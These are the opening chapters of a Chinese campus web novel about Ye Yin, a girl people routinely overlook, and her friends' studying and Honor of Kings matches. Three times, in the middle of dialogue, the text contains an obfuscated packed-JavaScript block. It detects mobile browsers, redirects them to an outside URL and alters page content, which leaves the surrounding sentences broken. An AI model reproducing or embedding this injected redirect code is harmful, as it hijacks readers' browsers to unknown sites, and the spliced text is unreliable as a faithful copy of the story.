《发小是个透明人[校园]》 1. 透明人 “妈,你们给我留饭了吗?” 叶吟一手披上校服,一边夹着手机打电话。 “……噢,没事,”她动作一顿,然后习以为常地说,“我路边摊买点就行。” “……我坐地铁去吧。” “杨星当时提议一起走的时候,你们说要送我,”叶吟低头换鞋,“现在这个点儿他应该走了。” “……没事。” 妈妈不会开车,所以爸爸每天上班都要先送她,再自己去。本来今天说加个顺路的闺女,结果俩人都没想起来。 叶吟放下手机,叹了口气。 ——被爸妈落下什么的,习惯了。 一路匆忙,叶吟卡点走进教室,视线掠过乌压压聚成几堆的男生,看到有位趴桌的女同学旁还空着。 叶吟不声不响地坐了过去,鼻子里挤进一点若有若无的香水味,她迟疑了一下,没打招呼。 ——反正就算自我介绍,对方也不一定记得住。 老师还没到,班里一片嘈杂。一个男同学蹭到叶吟旁边,自以为很帅地手往桌子上一撑,张嘴就跟趴着的女同学搭话。 “同学,我刚在那边就注意到你了……” 女同学终于舍得从臂弯里抬起头来,叶吟眼神一动。 ——好漂亮的女生。 但如果搭讪行为能别波及我就好了。 叶吟心中微叹,推开半个身子都压到她头上的男生,客客气气地开口:“同学,你压到我了。” 当了十多年的透明人,叶吟深谙此光环的鸡肋效果,无非是在各种情况下被人无视、被人遗忘、被无意识排挤、被记不住名字……对现在的她来说几乎是不痛不痒。 她个子高,站起来比男生还高出一个头顶。此时薄薄的眼皮一掀,平淡的五官就带了点侵略感。 ——没办法,不张扬一点,对方根本注意不到她说话。 男生被她旱地拔葱般的出现吓了一跳,肉眼可见地往后一缩,语无伦次地说:“你,你从哪,你刚刚……” 在叶吟耐心的等待中,男生好歹缓过了心悸,撑出一套有点勉强的微笑:“啧,算了,不好意思啊。” “没事。”叶吟已经数不清自己今天说了多少遍“没事”。 男生被她这一打断,续不上搭讪的话题,只好一步三回头地回座位了。 他刚坐回那男生堆里,旁边人一脸挤兑:“哥们儿失败了?” “哎,还不是……”他张嘴一瞬间,突然就想不起来自己是怎么失败的了。 “怪丢面子的,没啥好说,是吧?”另一人贴心地帮他打哈哈,于是男生也借坡下驴,连带着最后一点介怀都散了。 搭讪嘛,失败也正常。他只这么想了一下,就把最后一点疑惑抛之脑后。 叶吟没关注他们这边,而且就算关注了,她也不会意外。 曾经的幼儿园同学叫叶吟透明人,她还挺高兴,因为大家经常互叫昵称,而这是她的第一个绰号。 结果第二天,起外号的小孩就把这事儿忘了,此后再没提过。正读大班的叶吟小朋友难过了一会儿,安慰自己说:没事,毕竟我是透明人。 后来这个认知一存就是好多年。透明人嘛,大家看不见,正常。 不太正常的,是现在这个情况。 美女同学目击了一切发生,然后若有所思地盯着叶吟看了好半天,盯到叶吟终于忍不住偏过头跟她对视:“同学,有事吗?” “你叫什么?” 这么直接? 叶吟不自在地眨了下眼睛:“叶吟。” “李校花,”李校花点点头,“我。” 叶吟:……好吧,她确实配得上。 “很高兴认识你。”她说。 李校花依旧是那副发现新大陆的模样,她摸着下巴,自以为毫不引人注意地观察着这位同桌。 被盯到正襟危坐的叶吟:……我该表示一下吗? 终于,班主任拿着花名册出现,解救了头皮发麻的叶吟。他带着半公分厚的眼镜,用手指头一个一个戳过去,还是漏过了7号的叶吟,直到点出“李小花”这个名字,叶吟的同桌捂着脸举了举手。 叶吟:……谐音梗扣钱。 * 李校花不喜欢“李小花”这个土土的名字,也不喜欢“脸在江山在”这个标签。从开学第二天开始,每次遇到其他班男同学问她叫什么,她都会答:“我叫叶吟。” 然后对方就会说:“哇,好好听的名字。” 于是透明人光环光荣折损一半,因为脸红的男同学一部分会自然而然把“叶吟”这个名字抛之脑后,还有一部分会鼓起勇气给“叶吟”写情书。 最后情书就会到达真·叶吟手里。 高一第一个星期,叶吟收了六封情书,每封上面开头都写着:“xx的叶吟”。 ——xx不是骂人,是填词留白。 叶吟作为李校花的接水吃饭上厕所搭子,是她每次“犯罪现场”的目击人和知情人。想起李校花被搭讪时杀人一样的表情,她没拒绝,只当替人挡桃花积德了。 但她还是问了一句,结果李校花狐狸眼一斜:“我看不得朋友被当边缘人,所以给你找了点事做。这叫融入群体,你懂吧。” 太融入了。 简直是毫无破绽的移花接木。 每个送情书的男同学,都会在班门口羞涩地说出那句命中注定的错误台词:“我想找叶吟。” 然后就会看到一个短发不过肩、眼下带点青黑、整个人细条高挑的女生面无表情地出现。她礼貌道谢,说自己是“叶吟”,然后取走他的一片少男心事。 叶吟把新收的情书边缘捏平整,再塞回李校花的桌洞里。她沉默半晌,还是没忍住:“其实当边缘人挺好的,至少不欠情债。” 李校花噗嗤一下:“哈哈哈哈哈哈哈!” 等她笑够了,抹掉眼角笑出的眼泪,这才坦白:“开学那天老班让写心愿纸,一不小心看见了你的,我当时就想,哎,这人可真有意思。” 心愿纸这活动有些过时了,学生里不以为意的多,叶吟也是随手写的——“想被人看见。” 她心中一动,李校花却相当自信地说:“你有我这么光彩夺目的同桌,注定当不了边缘人了,死心吧。” 叶吟看着她,想到某种把自己养得油光水滑、翘着尾巴耀武扬威的狸花猫。她摇摇头,瞄了眼李校花的玻璃杯,自己去接水了。 走廊里看到同样细高一条的竹马迎面走来,二人即将错身的时候,叶吟面无表情地把杯子换了只手,用右手肘狠狠怼了他一下。 “哎哟!好巧!” 杨星这才挂起一套嘻嘻笑脸:“又没看到你,我真服了。” “星哥?”走着走着突然停下,刘胖有些不明所以。 叶吟习以为常地等着杨星把人打发离开,自己一声不吭地装成一棵沉默的树,直到被杨星戳了一下:“喂,回神,人走了。” 高中,春心萌动的好年纪。 可惜此二人站一起凑不出半点旖旎,嘴巴一张,就是熟悉的对抗。 “你是不是又长高了?”叶吟打量他半天。 “承让,刚破176,”杨星贱兮兮地抱了个拳,“入学体检我们174打平,现在我已士别三日怒长两公分。” 叶吟想不通:“暑假吃了什么十全大补丹?” “nonono,量变引起质变,”杨星说,“是你初中关注我太少。” 叶吟挑眉:“一米四儿童票能买到上初中、初二被五年级小学生当学弟、老师私下里叫小豆丁……呀,怎么还变脸的?” 杨星差点上手:“喂!你小声点!” 叶吟:“那是谁刚刚没看见我?谁不占理?嗯?” 杨星挪开目光:“咦,天气真好,太阳真大……哎,你不是要接水来着,快去快去,慢走慢走。” 叶吟:人要脸树要皮,哥们儿。 几天后,叶吟又在自己班门口见到杨星,后者态度却少见地不太爽利,有些踌躇不前的模样。 “咋了?” “你那个同桌,啧,”杨星摸了摸下巴,“确实挺好看哈,她叫啥?” 他没揭刘胖的老底儿,过来这么看了一眼,立刻觉得那傻孩子初恋怕是要夭折。 李校花从教室里绕了一圈,神不知鬼不觉地站到二人旁边,撩了下头发说:“我叫叶吟。” 叶吟:大小姐想演,她能咋办? “对,她叫叶吟。”她说。 杨星看看这个又看看那个,然后问叶吟:“那你叫啥?” 叶吟看向李校花:你说。 李校花眼神乱飘:你说。 叶吟指了指自己:我是你? 李校花扭开了头。 于是叶吟用古井无波的语气说:“我是李小花。” 李校花愤愤:“还不如李校花呢!” 她毫不心虚,把这外号直接当了真名号。 “李校花。”杨星笑眯眯地接过话头,眼神在这两人身上一转。 后来,刘胖果然很快死心,他试都没试,直接不提了。 反倒是杨星,不知道抱着什么心思,混入了李校花庞大的追求者队伍。 他相当“遵守规则”地用校门口小卖部两块钱一张的粉色信封写情书,信纸开头是“xx的叶吟”。 且,这个xx是真的写了两个叉。 这封情书让李校花笑了一中午,花枝乱颤到西风残满地伤你的笑容已泛黄,最后,她大发慈悲地把信送给了叶吟本人。 “我怀疑他是在拐着弯骂你,这情书内容也不知道从谁的企鹅空间抄的,酸死我了,一点都不走心。” 叶吟拜读了一遍,表情有些扭曲地说:“我也觉得。” 于是,叶吟周末直接怼到他家里,捏着那封情书:“杨星,你没事吧?” 杨星正在打游戏,头也不抬地说:“你没事吧~没事吧~” 叶吟看他手机一眼:“你1v1队友4v4,打了八分钟一看参团0%。” 杨星的达摩飞起一脚,把对手花木兰踹上墙,他嘴不停说:“那咋了,你管我呢,我就爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566727|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对抗。” 叶吟把情书一拍:“阿姨,杨星给同学写唔唔唔唔!” 她差点被杨星一只手捂死,余光看到达摩尸体躺在地上,对面的花木兰在狂点回城嘲讽。 “鱼死网破?我可是写给你的,要死也是一换一!”杨星藏起手机,恶狠狠地说。 可惜他的嘴炮连叶吟血皮都刮不掉。“赶紧投降,”她拍掉他的手,一边掏出手机,“下把我们铁血双排。” 铁血双排组连掉五颗星,叶吟面无表情地把王者农药卸载了。 * 杨星对校花的特别关注一直持续到期中成绩发下来。 他看似啥事没有,但有天刘胖跟叶吟夹道相逢,后者拍他一下,多问了一句。 刘胖刚没注意到她,心虚地卖友求荣:“星哥作文没写,被他妈狠揍一顿,让我别跟别人说。” 叶吟点点头表示会保密:“英语还是语文?” “both!”刘胖拽了一句英语。 “那他确实挺行的。”叶吟淡淡地说,认为杨星最近行事有些嚣张,挨顿揍很对。 他喜欢李校花吗他就追?初中道法书就说了:盲目从众不可取。 叶吟有八成把握,杨星就是凑热闹。 剩下两成是他真铁树开花,但她想象不出来。好在这事虎头蛇尾地结束了,于是也没人再提。 叶吟本人的期中成绩依然中不溜秋,她自认深谙中庸之道。但,李校花考了班里第三。 校花家里执行自由放养政策,她考美了,换了一套延长甲,还烫了个头发,结果第二天就被老班勒令拉直并卸掉甲片。 然后她顶着一头正常的黑长直,神神秘秘地跟叶吟说这个叫茶色。 ——主打一个我行我素。 叶吟决定住校,因为老班说中不溜秋的成绩在这个goddamn高考大省,以后可能会没有本科上。 李校花提议:“不如我们合租?” 她在学校外五百米租了房子。 叶吟即答:“咱俩住一起只会熬夜双排。” 她办了住宿,一个人拎着大包小包,撞上了同病相怜的杨星,后者是被爸妈强制要求来的。 “你也进来了啊。” “你也是啊。” 杨星忍不住笑了,露出一口白牙。他刚要开口,李校花直奔叶吟而来:“拎行李不叫我?我帮你啊。” 叶吟看着矮自己半个头的李校花,怜爱地把人推开了:“歇着吧校花,我自己就行。” 杨星:“怎么不帮我?” 李校花冷笑:“我帮你抓,你下波兵线得上供。” 三人以叶吟为中间人,不是冤家不聚头,相遇在最爱玩的年纪,又有共同的爱好打游戏,玩着玩着熟了起来——众所周知,王者农药是一款社交游戏。 杨星悻悻:“跟土匪打野没有话讲。” 李校花摇摇头:“我要去食堂占位置了,你吃啥?” 杨星刚要开口,李校花及时补刀:“男的自己玩去。” 叶吟眼睛一亮:“我想吃酸辣粉。” “不能吃辣还吃酸辣粉,吃死你。”杨星念咒一样说。 叶吟一直以为李校花是因为跟自己同桌,所以才不被透明人光环影响的。没想到转过年、第二个学期开学,老班就给所有人调了位置。 她俩一个天南一个地北,仿佛牛女织女,隔教室相望。 李校花举手反抗:“老师,这不公平。” 老班推了推老花镜,和蔼地说:“我让前十名同学挑同桌,李小花,需要我提醒吗?你上个期末考了十七名,进步了负十四名。” ——只比稳定中游的叶吟高了三名。 老班话里带着杀意,李校花如同被抽了骨头一样,立刻就矮下去了。 叶吟也属于被安排的那部分,她闻惯了李校花身上淡淡的香水味,有点不习惯桌边人沉默寡言但上课打游戏、下课打游戏、课间打游戏的日子。 她想:李校花应该很快就会把我忘了吧。 她闷了一下午,直到晚饭,李校花跨越了一整个教室,敲了敲她的桌子:“喂,今天还吃酸辣粉吗?” 叶吟懵懵地抬头,仿佛看到了神女下凡。 她的新同桌被吓了一跳,他收起手机,看了眼李校花,又小心翼翼地转向叶吟:“那个,不好意思,你是……?” ——叶吟摸索出的透明人设定第一条:记住名字能有效提升打破透明人光环的概率。反之则更难注意到透明人存在。 李校花对这个场面见怪不怪,叶吟耐着性子再次自我介绍:“我是叶吟。” 当天晚自习开始前,新同桌把亮着屏的手机郑重地交给了叶吟:“叶吟,帮我打完这把行吗?晚上手机放桌洞就行。我妈在校门口等我,但我信誉分不够扣了。” 最后他挠了挠脑袋,又补了一句:“我记住了,你叫叶吟。然后那个,我叫李沫。” 叶吟肃然起敬:真是有眼不识泰山!原来是上次期末考试尊贵的倒数第三名! ——后两名缺考,挂了俩零蛋。 2. 五排 很久之后,叶吟自己也承认——那个学期她被李沫带上偏路,超级加倍地玩游戏,确实不应该。 因为李沫不上晚自习也不住校,听说叶吟是王者,就把手机连同账号都交给了她。 “这台机子是我零花钱买的,只放在学校里玩,”李沫有些不好意思地说,“不是顶配,主要是怕被老师没收,你凑合用吧。” 叶吟拿着这台某牌去年的旗舰机,舔了舔后槽牙。 李沫十分真诚:“叶吟,我算了一下,现在刚到赛季中,能不能获得第一个王者印记,就看你的了。” 叶吟顺便看了一眼他的段位——“历史最高:尊贵铂金。” 尊贵的倒数第三,和尊贵铂金段位,相得益彰。 实话说,叶吟很少得人这么看重,于是她“受宠若惊”地拿出了诚意,语气沉重地说:“我明白,交给我。” 她抽空玩,本以为信手拈来,结果等第一个赛季结束,还卡在差一颗星上。 李沫没说什么,但叶吟自觉重任在肩,不能辜负同学期望,于是从新赛季第一天开始就憋了口气,熬夜帮人上分,终于打出了李沫的第一枚王者印记。 渡劫赛是下午第四节课,自习。 一局游戏胶着了快三十分钟,等结算界面的“胜利”一出,李沫几乎要跟叶吟抱头痛哭。 后桌看到门玻璃里教导主任的脸,狠狠地踹了一脚李沫的凳子——这导致他到底没哭出来。 叶吟黑眼圈又重了两分,轻描淡写地表示小事一桩。 然而很快她就轻描淡写不起来了,天降横祸:快要小科合格考了。 祸不单行:合格考之后就是高一期末。 叶吟大半个学期都在峡谷奋战,她白天困得像狗,晚上当游戏匹配机制的狗,总之就是狗了三个多月,眼看狗不住了。 合格考突击结束,她悬着心进了考场,好在难度不大,考后对了对答案,有惊无险。 期末,那就是全面崩盘了。 第一门是数学,卷子发下来第一时间,叶吟一眼扫过选择题题干,轻轻地闭了闭眼。 她想:完了。 连第一题求共轭复根都不知道是啥了。 从数学开始,所有科目稀里哗啦拖泥带水,糟蹋成了一片不抗倒伏的水稻。 考完就要收拾东西准备放暑假,班里一片翻身农奴把歌唱的欢乐气氛,只有叶吟头顶笼罩着无形黑云。 她慢慢地数着课本,李沫在旁边安慰:“没事,不丢人,总有人要考倒数的,根据相对论,没有倒数第一就没有正数第一,而成绩是薛定谔的猫,开盒之前你我皆是黑马……” 叶吟仔细地看了他一眼,李沫立刻做了个给嘴巴拉上拉链的动作。 一小时前、考完最后一门的时候,李校花喊住她,认认真真地说:“李沫家里什么背景你知道吗?他以后出国读大学,不用高考成绩,你也不用?” “有背景”的李沫两眼清澈,叶吟给他打上王者,他就说要给叶吟代打费,一千六百六十六,因为谐音是“你666”。 叶吟看着尊贵的倒数第三——其实现在已经是倒数第二了,因为只有一个长期不来上学的同学象征性地挂了个零蛋——她意识到,李沫其他科都是看老天脸色上两位数,但他的英语,基本次次都是140+。 于是她说:“我不要代打费,你教我学英语吧。” 几天后,成绩下来了。 叶吟硬着头皮把成绩单拿回家,不敢想要面对怎样的疾风骤雨。 二老确实有些怒其不争,但他们情绪来得快、走得也快,本来准备进屋抄家伙的,出来只拿着采购单,面容平静地开门去买菜了。 叶吟攥着卷子,孤零零地站在客厅,听着大门关上的声音,心里一片冰冰凉凉的灯光。 爸爸妈妈,你们看不见吗? …… 为什么,你们一点都不在乎呢? 手机振动,是李校花发的消息问:“挨打了吗?知错了吗?还敢这么玩吗?” 再往上一条,是杨星不伦不类的一句:“允许你抹黑我一次,就说我倒数第五给你垫背(其实差点摸进班前十哈)。” 叶吟咬掉嘴唇上的死皮,等老爸老妈回来,主动申请了一顿竹笋炒肉。 她手心红了,心却安了。 * 打了一个学期王者农药的叶吟终于迷途知返,她考虑了又考虑,在杨星和李校花警惕的眼神下,把李沫拉进了三人的企鹅群。 正式放假第一天,四人在吵吵嚷嚷的肯x基聚头。 “李沫,”叶吟介绍,“李校花、杨星。” “啊,啊,你们好,”李沫搓着手,有些局促的样子,“吃点什么?我请客。” 李校花挑剔地说:“我减肥。” 李沫点头:“冰美式可以吗?我妈说那玩意加快代谢是不是?还有那个玉米棒?叫什么,优质碳水。” 杨星不停按着圆珠笔,发出“咔哒咔哒”的声音:“我不吃鸡肉。” “噢那牛堡可以的,健康!双吉还是和牛?噢不对,双吉是金拱门的。诶,和牛堡也没了,啥时候的事啊?”李沫脑子跟不上嘴,说到哪算哪。 叶吟向两位鼻子不是眼睛的朋友承认错误:“上个学期我被游戏毒害,不是李沫的错,但他也有意悔改,而且比我们三个人C3_2的英语分数之和都高……” “等一下,”李校花皱眉,“我英语考得最差刚80,你们俩多少?” 杨星:“60……” 叶吟:“……63。” 李校花看向李沫:“你呢?” 李沫乖巧回答:“144。” “……淦,”杨星停止按笔,“沫哥,请授我洋人话。” 李校花也不挑剔了,双眼发直:“144,这是人吗?客观题满分?” 叶吟如愿看到被镇住的二人,转向李沫:“总之,我们三个渣渣就拜托你了。” 杨星突然死而复生:“啊对,我数学这次130,还可以,数学有问题可以问我。” 数学125的李校花冷哼一声:“这次数学简单,随便写都能100+。” 12分的李沫胸口中箭。 50分的叶吟挪开视线。 那还能咋办? 学吧! 一场轰轰烈烈的肯x基学习运动拉开了序幕。 * 让倒数的学渣回到中游难不难? 难。 欠了一个学期的知识用一个假期补上难不难? 也难。 叶吟在开学前一星期才开始处理暑假作业,好在加上半途入股的刘胖,五人一起分担,她才没有变成难上加难加难。 ——三种难,怎么看都很难。 最后一次肯x基学习小组活动,五个人抛弃了习题集,开始打王者农药。 李校花:“刘胖你这打野,给你看蓝你还不来打,活该被反。” 刘胖:“我那不是在帮发育路!辅助你别越塔!” 李沫:“噢,噢,我也不知道咋回事,打着打着就去打防御塔了,是不是手机不好用啊?诶,我死了,我咋死的?” 李校花:“孩子们别急,等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566728|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我破晓,还差两千,中路兵线给我吃一口。” 叶吟:“给你卡着了,速速。” 刘胖声音突然昂扬:“对抗怎么通关了?拖一拖拖一拖,星哥偷家了!” “他出了一个名刀司命!”他声嘶力竭地喊,“星哥从今天开始你就是我们三中猫泪分泪!” “猫泪分泪”有气无力地说:“怎么只有我一个人顺风,你们怎么打的?” 李校花手机一扔:“刘胖打野不行,我来。” 送塔的李沫以铂金水平混在四个王者中,懵懵懂懂地跟着说:“打野不行。” 刘胖吹胡子瞪眼:“李沫你小子3.8分!你谁也不准说!” 叶吟搁下手机:“唉,本来没准备打游戏的。” 五个人突然就沉默了。 小科六选三的问题摆在几个孩子眼前,像叶吟李校花李沫、刘胖和杨星,以后多半都不会在一个班了。 杨星最先说:“我肯定物化生。刘胖物理不行,是不是准备换地理来着?” 刘胖叹了口气:“我地理也不咋地。” 李校花勾起一缕头发:“不是说物理和历史最好勾一门吗,你要不勾历史?” “我历史更烂。”刘胖感觉到一种淡淡的死志,“校花呢?” “我啊,”李校花勾头发的手指一停,坦然地说,“我想走艺术,但我物理又不错。” 李沫插嘴说:“艺术生好像是全文多一点?” “但我物理不错。”李校花加重语气。 叶吟刚刚一直没说话,等他们沉默才开口:“我是排除法。” “政治不喜欢,地理是玄学,化学老师我不喜欢,”叶吟想起那个讲课念ppt的老头子,叹了口气,“好吧,其实是我化学学得不好。” 李校花厌恶地说:“他有口臭,讲课还喷唾沫。” 叶吟认可点头。 “物生史……什么诡异的组合。”刘胖挠了挠胳膊。 “李沫呢?” “我准备全文,政史地,”李沫表情淡然,“反正要出国,分数也不太重要。” “那你要学雅思托福?”李校花问完就想起他144的惊人战绩,后悔地说,“算了,你用到再考就行。” 五个人分班,竟然可能分到五个班去。离别愁绪悄然感染了每个人,李沫沉痛地发言:“我们再来一把农药吧,我还差一把上王者。” 四双眼睛瞪过来,李沫颇为无辜:“虽然我是铂金水平,但你们确实把我带上来了嘛。” 李校花拍案而起:“我打野,刘胖打射手去!” 刘胖心里晃过李沫上一把的庄周,突然就悟了:“不是我玩得不好,是你不想跟李沫一路!” 李沫热衷于送人头,每次都给对面射手养得很好。我方射手对线压力之大,可想而知。 李校花不听,已经在跟叶吟商量怎么入侵野区了。 刘胖念念叨叨:“叶吟多帮我抓啊,我真不行,对面鲁班起来我们打不了的。” 突然,杨星幽幽地冒出一句:“你记住叶吟名字了?” 从第一天五排开始,刘胖动不动脑子短路,喊人只喊“中单”。大家一起玩了一个暑假,这个习惯不知道什么时候改掉了。 刘胖被他吓得丢了个闪现,下意识抱怨:“干什么,还以为有人抓我。不过确实哎?叶吟来抓,鲁班没闪的。” 叶吟投之以桃报之以李地溜到下路草丛,左手拿起可乐“呼啦呼啦”地吸到杯底,相当宠辱不惊地说:“挺好的。” 杨星表情一变:“对面中单怎么上来了?!!” 3. 第 3 章 最后,李校花还是选择了全文。 她好像也没什么遗憾,只是高二开学第一天的时候,她跟叶吟说:“我有两个梦想,当演员,和……当物理学家。” 叶吟筷子掉到碗里:“啊?” “是的,”李校花深沉地说,“因为我觉得,我还挺聪明的,所以我想当李因斯坦。” 李沫端着空碗路过,耳背一样大声说:“李什么?李斯特?李校花要学钢琴吗?” 叶吟刚把筷子捡出来,左手的勺子又掉进汤里。 李校花白眼翻到天上去:“我们老李家能生出你这样的东西,真是三生有幸、光耀门楣。” 李沫讶然:“语文真不错,应该能考120吧?” ——高一期末的语文,李校花遭遇了她的人生滑铁卢,82分。作文彻底跑题不说,背诵填空每个空都出了点问题,她考前狂背半个月,最后一分没得。 李沫几句话精准踩雷,差点就要挨打。叶吟筷子掉地上了,它往前欢快地弹了几下,被一只手捡起来。 “同学你筷子……” 杨星一抬头,对上了一双腾起杀意的眼睛。 “哎别打别打,不是!我没!啊!嗷嗷嗷嗷!” 刚开学就猛踩雷区的不止李沫,杨星为表歉意请了四个人吃辣条。 辣条吃在嘴里,叶吟连喝三口水,一边走神想:李校花想要成为演员或者物理学家,我想成为什么呢? 想来想去,她发现自己真是当习惯了透明人,连愿望都是透明的,看不清楚。 叶吟看向身边的小伙伴,又释然了:船到桥头自然直,这才高二开学呢。 - 下午分班结果出来了,李沫和李校花都去了全文班,另外三个人一人一个班。 “好消息是,走班的话我们肯定还会见面哒!”五人站在小花园里,杨星闷声运球,刘胖强颜欢笑。 李沫摸了摸胳膊:“不走班也能见,别说得跟天人永别一样嘛。” 李校花站了刘胖:“客观上说,见面成本确实增加了,走班就是好见啊,比如杨星。” 杨星眉头一跳:她是不是在骂我? 李沫想说什么,被瞪了一眼,窝窝囊囊地收声了。 李校花跟李沫仿佛八字不合,叶吟提了提嘴角说:“老李家的家务事儿,让他们自己搞去吧。” “谁跟他/她一家!” 杨星收起篮球,问叶吟:“你还好吗?” 叶吟一愣:“挺好的。” 杨星简单地说:“行。” 插曲很短,叶吟却觉得好像从肺里挤出一口气去。 太矫情了。她想。 刘胖突然想起什么似的,拿出一张宣传页:“三中农药争霸赛,我们要不要报名?比赛在国庆,我们正好五个人,打到哪算哪得了,也不指望能淋金雨。” 宣传页上偷懒印着K*L的银龙奖杯,也不知道校方能不能真搞出来一个。 叶吟接过那张纸,说:“看分班后第一次考试成绩吧,高二开始有月考了。” 她一直很理智,没有感情用事,也没有冲动。 只是,等坐到新的教室,面对着半生不熟的同学、重复了一遍又一遍的“我是叶吟”后,她心中还是生出些久违的麻木和疲惫。 就好像过了一年不透明的生活,她又被重新推回了泡泡里。 可能这就是透明人的宿命吧。 “叶吟?我们班的?……叶吟在哪?有人找!” 时值课间,门口的喊声打断了她的消沉。 叶吟走过去,看杨星站在门口,手里拿着一张小卖部涨价了、现在卖两块五的粉色信封,轻咳一声,装模作样地说:“麻烦帮我交给叶吟同学。” 叶吟笑了下,问:“又是叉叉的叶吟?” 杨星一本正经:“对,给叉叉的叶吟。” 叶吟接过粉色信封,一抬头,却发现杨星已经能挡她的光了,不由奇道:“又长个了?” 杨星挑眉,像是终于等到了这个问题:“不才182,已经是网聊要在句末加括号的程度了。” 叶吟还是感觉不可思议,转念又想,这是一年,从秋再到秋,完完整整地过去了。 她有种微妙的恍然。 情书信封有些尖锐的直角又一次戳破了透明的泡泡,她借着校花的东风,拥有了实体,也拥有了颜色。 不过…… “刘胖都能看到我了,为什么你还是会偶尔无视我?”她口吻犀利地问,“装的?逗我好玩?” 杨星左右顾而言他,脚下缓慢撤退:“哎呀这个,噫吁嚱,不以物喜不以己悲……” 叶吟没拦他,只是等李校花来找她吃饭的时候,掏出了那封粉色信封:“呐,你的。” 李校花大惊:“高一不是在军训吗,还有时间搞这个?哎,这就开始了?” 叶吟木了一下:“……不是,你又报我的名字?” 李校花理所当然:“对呀,我就说,我是高二五班的叶吟学姐。” 叶吟默了默:“你无敌了。” 李校花跟杨星二人心照不宣地开始走流程,叶吟已经预料到,之后会是一场怎样的腥风血雨。 果然,高二第一个月,叶吟再次收获了一堆少男心事。十二封粉色信封,代表着十二个道心破碎的学弟。 要这是个玄幻小说,叶吟好歹是个毁人不倦的魔修。 不过因为这一茬,班上同学稍微能看到叶吟一点了,大概是努力想想能记起这个人的程度,勉强算是好事一桩。 叶吟捏着信封时,有种回到高一的错觉,连带着那些乱七八糟的心情也都被吹散了。 不过又一年罢了。 * 高二的老班换成了个严厉的中年女人,开学第一个月全班腥风血雨,她收走了四部手机、两本杂书、一个MP3、一个kindle。 叶吟也放弃了偷渡手机上学的心,即使她想跟四个朋友淋金雨。 是的,分班摸底考她已经重回巅峰——暨中不溜秋,于是五个人正式报名了农药争霸赛,争夺银龙杯。 叶吟每周一三四五走班上物理,要去杨星他们七班,出于某种不足为外人道也的心理,两个人都没提过坐同桌的事情。 叶吟跟李校花说:“我上物理课犯困,挨着他睡着了能被笑话一年。” 杨星跟刘胖说:“我们俩上课容易唠嗑不听讲,不行。” 两个听众再一对口供,刘胖没什么感觉,倒是李校花轻轻“啧”了一声。 * 周末,肯x基。 刘胖面无血色:“为什么还有复盘……” 李沫主动提供设备支持,李校花以超强执行力兼任了教练一职,他们刚打完一局训练赛——五排,然后正对着平板上的比赛回放,挨个公开处刑。 “射手,”李校花点着三分半还在压塔的孙尚香,“对面蓝开抓下,第二波野这个时间刷完了,还没漏视野,你怎么敢压那么深的?” “我的眼里只有塔……”刘胖缩了缩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16566729|187007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “对抗,一级被单杀,亏中单还帮你抓了一次,守那个一塔跟守自己命根子一样,0-4,给我们送了个爹出来。” 杨星小声争辩:“那不是对面打野来了两次,你一次抓下一次抓中。” 叶吟没忍住开怼:“撤退摁烂了你看不见,就贪兵线是吧。” 李校花赞同地点头:“中单,嗯,没啥问题。开局还帮我守了野区。” “打野,我自己,拼惩没拼过,没抢到龙,但总体说仁尽义尽。” 李沫看她说完了,举手:“教练,我呢?” 李校花关掉平板:“我们有辅助吗?” 叶吟也没想到李校花比她还认真,周六要上晚自习,周日他们就以学习的名义凑到肯x基打游戏,打到头昏眼花。 一个月很快过去了,九月底,月考。 李校花冷漠地说:“考试别想着玩游戏,谁要是浮躁考砸了,谁以后五排带李沫走发育路。” 三个人郑重点头。 只有李沫挠头。 结果等考完试,杨星见到大家的第一句话是:“我好像学号没涂卡。” 刘胖幸灾乐祸:“你完了,你要打发育路了,苍天有眼,我刘胖后继有人啊。” 杨星目光呆滞:“好可怕。” “射辅是这个游戏最亲密的搭档,”李校花把李沫的手郑重交到杨星手中,“保护好他。” 李沫手背被她贴过的地方有点发烫,他没在意,只是相当认真地说:“我会的。” 刘胖笑疯了:“不是,校花说的是他保护你,李沫我真服了,哈哈哈哈哈哈哈!” 杨星面容惨淡:“没事,我可以。” 叶吟同情地拍了拍他的肩膀:“赛后你们就可以开始练习了,射辅同心、其利断金。” 杨星夸张地嚎:“我不要跟他同心啊!我不要啊!你不要过来啊!” 李沫脾气好,这么说他也不生气,摸了摸鼻子还有点不好意思:“哎,我努力。” * 比赛就在三中体育馆举办,条件简陋,设备自备。 国庆期间高中生也要上自习,高三是强制,高二都是自愿。 几个人干脆先上了两天自习,杨星刘胖叶吟三人住校没回家,第三天早上在教室碰头。 “李沫,充电宝,”李校花校服外套披在肩上,颇有大将风范,“要是打到一半手机没电关机了,你得赔我们一人一座奖杯。” “拿了拿了,一手交钱一手交货。” 